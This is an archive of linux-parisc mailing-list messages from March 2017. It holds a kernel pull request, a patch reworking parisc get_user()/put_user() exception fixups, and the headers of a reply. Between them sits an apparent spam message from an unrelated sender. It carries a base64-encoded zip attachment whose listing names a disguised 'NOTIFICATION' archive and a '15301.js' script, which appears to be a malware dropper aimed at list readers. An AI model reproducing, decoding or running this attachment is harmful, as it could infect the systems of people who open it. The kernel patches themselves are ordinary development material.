 hw2i+tj9k160hXLAKDP5Z7kiGtxEODODTYNfwZHZ2gKpPZmyZONl0mRhe5HbcDx4pfKuW+gW8
 f9GmV4YZX10UZbvI+zzPt5guz4OS9oCcbiXv+CcNiG417glqy3kaEo0M0RH9QTvHB/ONbTFmU
 sjad7mf+kc9gvVoG9bTzx0RJEepl41RTlkG9b717j3fPyJtZHGp3M5Bo22oLUy2z7Rbohmspr
 tYXwlC28oQRPjnEgEjcutycthWoFBKmA21yYgYGoVAUhdqwcUyV+AoZx4Au2KIubqG266lapi
 xRgo4nZuTrUkHGQ2Co7UGsRWx4PN5939IcIfooXqRm5WnvM9gSHkhiYxVzs0AboAaYWEkeVWy
 JmCXo1S94tC7wdqZB7lLrcyfA57gndJ8uuFryNOQoW+5Y+mH9KyVxelnvYI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27356 gmane.linux.kernel:2435421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27356>

Hi Linus,

please pull a few fixes for the parisc architecture for kernel 4.11-rc3 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.11-2

Changes are:
- Mikulas Patocka added support for R_PARISC_SECREL32 relocations in modules
  with CONFIG_MODVERSIONS.
- Dave Anglin optimized the cache flushing for vmap ranges.
- Arvind Yadav provided a fix for a potential NULL pointer dereference in the
  parisc perf code (and some code cleanups).
- I wired up the new statx system call, fixed some compiler warnings with the
  access_ok() macro and fixed shutdown code to really halt a system at shutdown
  instead of crashing & rebooting.

Thanks,
Helge

----------------------------------------------------------------
Arvind Yadav (1):
      parisc: perf: Fix potential NULL pointer dereference

Helge Deller (3):
      parisc: Wire up statx system call
      parisc: Avoid compiler warnings with access_ok()
      parisc: Fix system shutdown halt

John David Anglin (1):
      parisc: Optimize flush_kernel_vmap_range and invalidate_kernel_vmap_range

Mikulas Patocka (1):
      parisc: support R_PARISC_SECREL32 relocation in modules

 arch/parisc/include/asm/cacheflush.h  | 23 +--------
 arch/parisc/include/asm/uaccess.h     |  3 +-
 arch/parisc/include/uapi/asm/unistd.h |  3 +-
 arch/parisc/kernel/cache.c            | 22 ++++++++
 arch/parisc/kernel/module.c           |  8 +++
 arch/parisc/kernel/perf.c             | 94 ++++++++++++++++++-----------------
 arch/parisc/kernel/process.c          |  2 +
 arch/parisc/kernel/syscall_table.S    |  1 +
 8 files changed, 88 insertions(+), 68 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <askeeta@canadiannorth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: 21281 linux-parisc
Date: Mon, 20 Mar 2017 07:24:58 -0000
Lines: 56
Approved: news@gmane.org
Message-ID: <148999469806.4914.14926072521741935474@zaural.ru>
Reply-To: <askeeta@canadiannorth.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="105607732053798.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1489994703 13204 195.159.176.226 (20 Mar 2017 07:25:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 20 Mar 2017 07:25:03 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 20 08:25:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cprgW-0001lY-92
	for glpp-linux-parisc@m.gmane.org; Mon, 20 Mar 2017 08:24:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751467AbdCTHZD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 20 Mar 2017 03:25:03 -0400
Original-Received: from ws34.zone31-163-157.zaural.ru ([31.163.157.34]:44780 "HELO
        zaural.ru" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with SMTP
        id S1750717AbdCTHZC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 20 Mar 2017 03:25:02 -0400
X-Greylist: delayed 300 seconds by postgrey-1.27 at vger.kernel.org; Mon, 20 Mar 2017 03:25:01 EDT
Importance: High
Content-Disposition: attachment
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27357>

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
BQYAAAAAAQABAGAAAADACgAAAAA=
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Clean up fixup routines for get_user()/put_user()
Date: Sat, 25 Mar 2017 11:59:15 +0100
Lines: 299
Approved: news@gmane.org
Message-ID: <20170325105915.GA15188@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490439576 25213 195.159.176.226 (25 Mar 2017 10:59:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 25 Mar 2017 10:59:36 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Al Viro <viro@ZenIV.linux.org.uk>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 25 11:59:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1crjPo-0005J4-RA
	for glpp-linux-parisc@m.gmane.org; Sat, 25 Mar 2017 11:59:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751349AbdCYK7a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 25 Mar 2017 06:59:30 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49695 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751346AbdCYK73 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 25 Mar 2017 06:59:29 -0400
Original-Received: from p100.box ([193.159.23.54]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M4B71-1c0jHo1IEV-00rqsP; Sat, 25
 Mar 2017 11:59:19 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:nqQXyQdlmYq0ZBn2FwApJ1v/bwPOaOqrt+AFC4MiGrl1gnFY1e0
 88+GzptviU00/HBAdF85Fjk8rou6k6qYaI/otIwGyl4rhIu+5pFKE5gdJwt+2tYYP6rdVMJ
 xBiTjJQWNabenziXxxVQRfBMXHhfxIKaLo5EWSykLrWOr2ii6mvwHdYG9QINJeJkAd0zqK7
 LV0bM3Vu+iqR/1tPeeL1A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gi1i+kI/Do8=:oZa/nqJtJtpb38lO36QYqk
 o6Pe8fX4LgHn7Q/QAZHz46Qxr7k/ohVg/kEodA61WUDepw1SrTNtzZfJCimsLWVxZJOdeWswm
 o0IHpiFeU2ugKkWTi06BRVq1+hg2Scp9s7NbwivToh+zigy59VDWlvniY8ILKwokAYCKUNjvQ
 d6e5oa+64ihrdIznbbqKx3H+6lEcUwkOsK1NMiXGQxqfgPymjmwCsa3siKVNvGfT9PBQ56leP
 2720qTVPLBn9f2VHAaSSpJb+YX86tZ8GFQuB11H7MPuA0qHfy9A9SwxrNGfd9aHzwliBRvw+Z
 /SevrNZ8Xke5uAo4lKLvsoo5T/FDAxOB9uzNzOZpD10Abj7YyoeM911FyQ7ReHOYOG2oWLFHb
 x2qO0D38ns0TskrjUCoMQFiBEYjyYgD2e31BYjV+He2DabUlkLEiTM/oftLJJ0sxAtfm38xJN
 EWPa8cYYH5E/x6irbDDbCrhiyR1qj0AHDTS8Q8gzDug+uD0g3YJbeYxw14FbNf3cgvJByOzO2
 6a4PqxGP5MGZmGkWzZSFdAk/JJHSImXR8d7VtLdW77+5n9IFMBDY2i2ojqpiQXcKvWuNodzji
 mq13ihYoiPKJLepLhadxT6leW2KQB5nFWjdZcCmnQC23O82xXx4rWFUu8MG6IYhKpgj5pfKl1
 X0h6IgkMO88l2/Hfcuwj/AKWyd83v8R1oYEVUFqFpYqTRV3UpZwiec0PkHA7moF70/9/Cxy2T
 BhgbvCHnNkB5NJR++8CGFBvMCl+p3IZl59Y2s6yCBuAHisg1p2bzAIPKMfQ=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27358
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27358>

Al Viro noticed that userspace accesses via get_user()/put_user() can be
simplified a lot with regard to usage of the exception handling.

This patch implements a fixup routine for get_user() and put_user() in such
that the exception handler will automatically load -EFAULT into the register
%r8 (the error value) in case on a fault on userspace.  Additionally the fixup
routine will zero the target register on fault in case of a get_user() call.
The target register is extracted out of the faulting assembly instruction.

This patch brings a few benefits over the old implementation:
1. Exception handling gets much cleaner, easier and smaller in size.
2. Helper functions like fixup_get_user_skip_1 (all of fixup.S) can be dropped.
3. No need to hardcode %r9 as target register for get_user() any longer. This
   helps the compiler register allocator and thus creates less assembler
   statements.
4. No dependency on the exception_data contents any longer.
5. Nested faults will be handled cleanly.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index edfbf9d..8442727 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -65,6 +65,15 @@ struct exception_table_entry {
 	".previous\n"
 
 /*
+ * ASM_EXCEPTIONTABLE_ENTRY_EFAULT() creates a special exception table entry
+ * (with lowest bit set) for which the fault handler in fixup_exception() will
+ * load -EFAULT into %r8 for a read or write fault, and zeroes the target
+ * register in case of a read fault in get_user().
+ */
+#define ASM_EXCEPTIONTABLE_ENTRY_EFAULT( fault_addr, except_addr )\
+	ASM_EXCEPTIONTABLE_ENTRY( fault_addr, except_addr + 1)
+
+/*
  * The page fault handler stores, in a per-cpu area, the following information
  * if a fixup routine is available.
  */
@@ -91,7 +100,7 @@ struct exception_data {
 #define __get_user(x, ptr)                               \
 ({                                                       \
 	register long __gu_err __asm__ ("r8") = 0;       \
-	register long __gu_val __asm__ ("r9") = 0;       \
+	register long __gu_val;				 \
 							 \
 	load_sr2();					 \
 	switch (sizeof(*(ptr))) {			 \
@@ -107,22 +116,23 @@ struct exception_data {
 })
 
 #define __get_user_asm(ldx, ptr)                        \
-	__asm__("\n1:\t" ldx "\t0(%%sr2,%2),%0\n\t"	\
-		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_get_user_skip_1)\
+	__asm__("1: " ldx " 0(%%sr2,%2),%0\n"		\
+		"9:\n"					\
+		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(1b, 9b)	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
+		: "r"(ptr), "1"(__gu_err));
 
 #if !defined(CONFIG_64BIT)
 
 #define __get_user_asm64(ptr) 				\
-	__asm__("\n1:\tldw 0(%%sr2,%2),%0"		\
-		"\n2:\tldw 4(%%sr2,%2),%R0\n\t"		\
-		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_get_user_skip_2)\
-		ASM_EXCEPTIONTABLE_ENTRY(2b, fixup_get_user_skip_1)\
+	__asm__("   copy %%r0,%R0\n"			\
+		"1: ldw 0(%%sr2,%2),%0\n"		\
+		"2: ldw 4(%%sr2,%2),%R0\n"		\
+		"9:\n"					\
+		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(1b, 9b)	\
+		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(2b, 9b)	\
 		: "=r"(__gu_val), "=r"(__gu_err)	\
-		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
+		: "r"(ptr), "1"(__gu_err));
 
 #endif /* !defined(CONFIG_64BIT) */
 
@@ -148,32 +158,31 @@ struct exception_data {
  * The "__put_user/kernel_asm()" macros tell gcc they read from memory
  * instead of writing. This is because they do not write to any memory
  * gcc knows about, so there are no aliasing issues. These macros must
- * also be aware that "fixup_put_user_skip_[12]" are executed in the
- * context of the fault, and any registers used there must be listed
- * as clobbers. In this case only "r1" is used by the current routines.
- * r8/r9 are already listed as err/val.
+ * also be aware that fixups are executed in the context of the fault,
+ * and any registers used there must be listed as clobbers.
+ * r8 is already listed as err.
  */
 
 #define __put_user_asm(stx, x, ptr)                         \
 	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%%sr2,%1)\n\t"	    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_1)\
+		"1: " stx " %2,0(%%sr2,%1)\n"		    \
+		"9:\n"					    \
+		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(1b, 9b)	    \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
-		: "r1")
+		: "r"(ptr), "r"(x), "0"(__pu_err))
 
 
 #if !defined(CONFIG_64BIT)
 
 #define __put_user_asm64(__val, ptr) do {	    	    \
 	__asm__ __volatile__ (				    \
-		"\n1:\tstw %2,0(%%sr2,%1)"		    \
-		"\n2:\tstw %R2,4(%%sr2,%1)\n\t"		    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_2)\
-		ASM_EXCEPTIONTABLE_ENTRY(2b, fixup_put_user_skip_1)\
+		"1: stw %2,0(%%sr2,%1)\n"		    \
+		"2: stw %R2,4(%%sr2,%1)\n"		    \
+		"9:\n"					    \
+		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(1b, 9b)	    \
+		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(2b, 9b)	    \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(__val), "0"(__pu_err) \
-		: "r1");				    \
+		: "r"(ptr), "r"(__val), "0"(__pu_err));	    \
 } while (0)
 
 #endif /* !defined(CONFIG_64BIT) */
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 7484b3d..c6d6272 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -47,16 +47,6 @@ EXPORT_SYMBOL(__cmpxchg_u64);
 EXPORT_SYMBOL(lclear_user);
 EXPORT_SYMBOL(lstrnlen_user);
 
-/* Global fixups - defined as int to avoid creation of function pointers */
-extern int fixup_get_user_skip_1;
-extern int fixup_get_user_skip_2;
-extern int fixup_put_user_skip_1;
-extern int fixup_put_user_skip_2;
-EXPORT_SYMBOL(fixup_get_user_skip_1);
-EXPORT_SYMBOL(fixup_get_user_skip_2);
-EXPORT_SYMBOL(fixup_put_user_skip_1);
-EXPORT_SYMBOL(fixup_put_user_skip_2);
-
 #ifndef CONFIG_64BIT
 /* Needed so insmod can set dp value */
 extern int $global$;
diff --git a/arch/parisc/lib/Makefile b/arch/parisc/lib/Makefile
index 8fa92b8..f2dac4d 100644
--- a/arch/parisc/lib/Makefile
+++ b/arch/parisc/lib/Makefile
@@ -2,7 +2,7 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o memcpy.o \
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o memcpy.o \
 	   ucmpdi2.o delay.o
 
 obj-y	:= iomap.o
diff --git a/arch/parisc/lib/fixup.S b/arch/parisc/lib/fixup.S
deleted file mode 100644
index a5b72f2..0000000
--- a/arch/parisc/lib/fixup.S
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Linux/PA-RISC Project (http://www.parisc-linux.org/)
- *
- *  Copyright (C) 2004  Randolph Chung <tausq@debian.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2, or (at your option)
- *    any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
- * 
- * Fixup routines for kernel exception handling.
- */
-#include <asm/asm-offsets.h>
-#include <asm/assembly.h>
-#include <asm/errno.h>
-#include <linux/linkage.h>
-
-#ifdef CONFIG_SMP
-	.macro  get_fault_ip t1 t2
-	loadgp
-	addil LT%__per_cpu_offset,%r27
-	LDREG RT%__per_cpu_offset(%r1),\t1
-	/* t2 = smp_processor_id() */
-	mfctl 30,\t2
-	ldw TI_CPU(\t2),\t2
-#ifdef CONFIG_64BIT
-	extrd,u \t2,63,32,\t2
-#endif
-	/* t2 = &__per_cpu_offset[smp_processor_id()]; */
-	LDREGX \t2(\t1),\t2 
-	addil LT%exception_data,%r27
-	LDREG RT%exception_data(%r1),\t1
-	/* t1 = this_cpu_ptr(&exception_data) */
-	add,l \t1,\t2,\t1
-	/* %r27 = t1->fault_gp - restore gp */
-	LDREG EXCDATA_GP(\t1), %r27
-	/* t1 = t1->fault_ip */
-	LDREG EXCDATA_IP(\t1), \t1
-	.endm
-#else
-	.macro  get_fault_ip t1 t2
-	loadgp
-	/* t1 = this_cpu_ptr(&exception_data) */
-	addil LT%exception_data,%r27
-	LDREG RT%exception_data(%r1),\t2
-	/* %r27 = t2->fault_gp - restore gp */
-	LDREG EXCDATA_GP(\t2), %r27
-	/* t1 = t2->fault_ip */
-	LDREG EXCDATA_IP(\t2), \t1
-	.endm
-#endif
-
-	.level LEVEL
-
-	.text
-	.section .fixup, "ax"
-
-	/* get_user() fixups, store -EFAULT in r8, and 0 in r9 */
-ENTRY_CFI(fixup_get_user_skip_1)
-	get_fault_ip %r1,%r8
-	ldo 4(%r1), %r1
-	ldi -EFAULT, %r8
-	bv %r0(%r1)
-	copy %r0, %r9
-ENDPROC_CFI(fixup_get_user_skip_1)
-
-ENTRY_CFI(fixup_get_user_skip_2)
-	get_fault_ip %r1,%r8
-	ldo 8(%r1), %r1
-	ldi -EFAULT, %r8
-	bv %r0(%r1)
-	copy %r0, %r9
-ENDPROC_CFI(fixup_get_user_skip_2)
-
-	/* put_user() fixups, store -EFAULT in r8 */
-ENTRY_CFI(fixup_put_user_skip_1)
-	get_fault_ip %r1,%r8
-	ldo 4(%r1), %r1
-	bv %r0(%r1)
-	ldi -EFAULT, %r8
-ENDPROC_CFI(fixup_put_user_skip_1)
-
-ENTRY_CFI(fixup_put_user_skip_2)
-	get_fault_ip %r1,%r8
-	ldo 8(%r1), %r1
-	bv %r0(%r1)
-	ldi -EFAULT, %r8
-ENDPROC_CFI(fixup_put_user_skip_2)
-
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index deab89a..a1c07aa 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -150,6 +150,22 @@ int fixup_exception(struct pt_regs *regs)
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;
 
+		/*
+		 * Fix up get_user() and put_user().
+		 * ASM_EXCEPTIONTABLE_ENTRY_EFAULT() sets bit 1 to indicate
+		 * that %r8 should be loaded with -EFAULT to report a
+		 * userspace access error.
+		 */
+		if (fix->fixup & 1) {
+			regs->gr[8] = -EFAULT;
+
+			/* zero target register for get_user() */
+			if (parisc_acctyp(0, regs->iir) == VM_READ) {
+				int treg = regs->iir & 0x1f;
+				regs->gr[treg] = 0;
+			}
+		}
+
 		regs->iaoq[0] = (unsigned long)&fix->fixup + fix->fixup;
 		regs->iaoq[0] &= ~3;
 		/*
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Clean up fixup routines for get_user()/put_user()
Date: Sat, 25 Mar 2017 11:41:01 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <853363DA-9B8E-49ED-BB3D-262537DF5106@bell.net>
References: <20170325105915.GA15188@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1490456464 19488 195.159.176.226 (25 Mar 2017 15:41:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 25 Mar 2017 15:41:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        Al Viro <viro@ZenIV.linux.org.uk>
To: Helge Deller <deller@gmx.de>
